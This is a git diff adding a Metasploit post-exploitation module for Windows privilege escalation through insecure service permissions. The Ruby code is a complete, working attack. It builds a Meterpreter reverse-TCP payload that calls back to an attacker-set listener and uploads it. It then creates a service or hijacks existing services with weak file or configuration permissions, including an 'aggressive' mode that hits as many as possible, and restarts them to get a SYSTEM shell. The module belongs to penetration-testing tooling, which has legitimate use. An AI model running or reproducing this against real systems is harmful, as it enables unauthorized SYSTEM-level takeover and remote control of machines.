diff --git a/modules/post/windows/escalate/service_permissions.rb b/modules/post/windows/escalate/service_permissions.rb new file mode 100644 index 0000000000..2232ea9554 --- /dev/null +++ b/modules/post/windows/escalate/service_permissions.rb @@ -0,0 +1,230 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'msf/core/post/windows/services' +require 'rex' + +class Metasploit3 < Msf::Post + + include ::Msf::Post::WindowsServices + def initialize(info={}) + super( update_info( info, + 'Name' => 'Service Permissions Escalate', + 'Description' => %q{ + Many services are configured with insecure permissions. This + module attempts to create a service, then searches through a list of + existing services to look for insecure file or configuration + permissions that will let it replace the executable with a payload. + It will then attempt to restart the replaced service to run the + payload. If that fails, the next time the service is started (such as + on reboot) the attacker will gain elevated privileges. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'scriptjunkie' ], + 'Version' => '$Revision$', + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ], + 'References' => [ ] + )) + + register_options([ + OptAddress.new("LHOST", [ false, "Listener IP address for the new session" ]), + OptPort.new("LPORT", [ false, "Listener port for the new session", 4444 ]), + OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ]) + ]) + + end + + def run + print_status("running") + + lhost = datastore["LHOST"] || Rex::Socket.source_address + lport = datastore["LPORT"] || 4444 + payload = datastore['PAYLOAD'] || "windows/meterpreter/reverse_tcp" + + # create a session handler + handler = session.framework.exploits.create("multi/handler") + handler.datastore['PAYLOAD'] = payload + handler.datastore['LHOST'] = lhost + handler.datastore['LPORT'] = lport + handler.datastore['InitialAutoRunScript'] = "migrate -f" + handler.datastore['ExitOnSession'] = true + + # start the session handler + + #handler.exploit_module = self + handler.exploit_simple( + 'LocalInput' => self.user_input, + 'LocalOutput' => self.user_output, + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true + ) + + # randomize the filename + filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + + # randomize the exe name + tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + + # generate a payload + pay = session.framework.payloads.create(payload) + pay.datastore['LHOST'] = lhost + pay.datastore['LPORT'] = lport + + raw = pay.generate + + exe = Msf::Util::EXE.to_win32pe(session.framework, raw) + + sysdir = session.fs.file.expand_path("%SystemRoot%") + tmpdir = session.fs.file.expand_path("%TEMP%") + + begin + print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..") + # + # Upload the payload to the filesystem + # + tempexe = tmpdir + "\\" + tempexe_name + fd = client.fs.file.new(tempexe, "wb") + fd.write(exe) + fd.close + rescue ::Exception => e + print_error("Error uploading file #{filename}: #{e.class} #{e}") + return + end + + #attempt to make new service + client.railgun.kernel32.LoadLibraryA("advapi32.dll") + client.railgun.get_dll('advapi32') + client.railgun.add_function( 'advapi32', 'DeleteService','BOOL',[ + [ "DWORD", "hService", "in" ] + ]) + + #SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config + + print_status("Trying to add a new service...") + adv = client.railgun.advapi32 + manag = adv.OpenSCManagerA(nil,nil,0x10013) + if(manag["return"] != 0) + # SC_MANAGER_CREATE_SERVICE = 0x0002 + # SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010 + # SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0 + newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)), + "",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil) + if(newservice["return"] != 0) + print_status("Created service... #{newservice["return"]}") + ret = adv.StartServiceA(newservice["return"], 0, nil) + print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.") + adv.DeleteService(newservice["return"]) + adv.CloseServiceHandle(newservice["return"]) + if datastore['AGGRESSIVE'] != true + adv.CloseServiceHandle(manag["return"]) + return + end + else + print_error("Uhoh. service creation failed, but we should have the permissions. :-(") + end + else + print_status("No privs to create a service...") + manag = adv.OpenSCManagerA(nil,nil,1) + if(manag["return"] == 0) + print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.") + end + end + print_status("Trying to find weak permissions in existing services..") + #Search through list of services to find weak permissions, whether file or config + serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" + #for each service + service_list.each do |serv| + begin + srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s + if srvtype != "16" + continue + end + moved = false + configed = false + #default path, but there should be an ImagePath registry key + source = client.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe") + #get path to exe; parse out quotes and arguments + sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s + sourcemaybe = client.fs.file.expand_path(sourceorig) + if( sourcemaybe[0] == '"' ) + sourcemaybe = sourcemaybe.split('"')[1] + else + sourcemaybe = sourcemaybe.split(' ')[0] + end + begin + client.fs.file.stat(sourcemaybe) #check if it really exists + source = sourcemaybe + rescue + print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}") + end + #try to exploit weak file permissions + if(source != tempexe && client.railgun.kernel32.MoveFileA(source, source+'.bak')["return"]) + client.railgun.kernel32.CopyFileA(tempexe, source, false) + print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.") + moved = true + end + #try to exploit weak config permissions + #open with SERVICE_CHANGE_CONFIG (0x0002) + servhandleret = adv.OpenServiceA(manag["return"],serv,2) + if(servhandleret["return"] != 0) + #SERVICE_NO_CHANGE is 0xFFFFFFFF + if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF, + 0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil)) + print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.") + configed = true + end + adv.CloseServiceHandle(servhandleret["return"]) + + end + if(moved != true && configed != true) + print_status("No exploitable weak permissions found on #{serv}") + continue + end + print_status("Restarting #{serv}") + #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020) + servhandleret = adv.OpenServiceA(manag["return"],serv,0x30) + if(servhandleret["return"] != 0) + #SERVICE_CONTROL_STOP = 0x00000001 + if(adv.ControlService(servhandleret["return"],1,56)) + client.railgun.kernel32.Sleep(1000) + adv.StartServiceA(servhandleret["return"],0,nil) + print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.") + #Cleanup + if moved == true + client.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) + end + if configed == true + servhandleret = adv.OpenServiceA(manag["return"],serv,2) + adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF, + 0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) + adv.CloseServiceHandle(servhandleret["return"]) + end + else + print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") + end + adv.CloseServiceHandle(servhandleret["return"]) + if datastore['AGGRESSIVE'] != true + return + end + else + print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") + end + rescue + end + end + + end + + +end +